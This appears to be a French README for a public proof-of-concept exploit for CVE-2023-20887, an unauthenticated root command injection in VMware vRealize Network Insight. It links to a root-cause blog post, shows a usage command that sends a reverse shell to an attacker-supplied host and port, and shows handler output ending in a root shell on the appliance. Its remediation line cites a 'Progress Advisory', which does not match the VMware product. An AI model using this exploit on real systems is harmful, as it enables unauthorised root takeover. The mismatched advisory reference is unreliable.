malwareman007/cve-2023-20887VMWare vRealize Network Insight RCE pré-authentifié (CVE-2023-20887)
POC pour CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) RCE non authentifié
Une analyse de la cause racine de la vulnérabilité est disponible sur mon blog : https://kushagraojha.medium.com/vmware-vrealize-network-insight-cve-2023-20887-193f3c3d30a0
VMWare Aria Operations for Networks (vRealize Network Insight) est vulnérable à une injection de commandes lors de l'acceptation d'entrées utilisateur via l'interface RPC Apache Thrift. Cette vulnérabilité permet à un attaquant distant non authentifié d'exécuter des commandes arbitraires sur le système d'exploitation sous-jacent en tant qu'utilisateur root. L'interface RPC est protégée par un proxy inverse qui peut être contourné. VMware a évalué la gravité de ce problème comme étant dans la plage Critique avec un score de base CVSSv3 maximal de 9.8. un acteur malveillant peut obtenir une exécution de code à distance dans le contexte de 'root' sur l'appliance. Les versions VMWare 6.x sont vulnérables.
python CVE-2023-20887.py --url https://192.168.116.100 --attacker 192.168.116.1:1337
(*) Starting handler
(+) Received connection from 192.168.116.100
(+) pop thy shell! (it's ready)
sudo bash
id
uid=0(root) gid=0(root) groups=0(root)
hostname
vrni-platform-release
Mettez à jour vers la dernière version ou atténuez le risque en suivant les instructions de l'avis Progress Advisory
Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes, sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.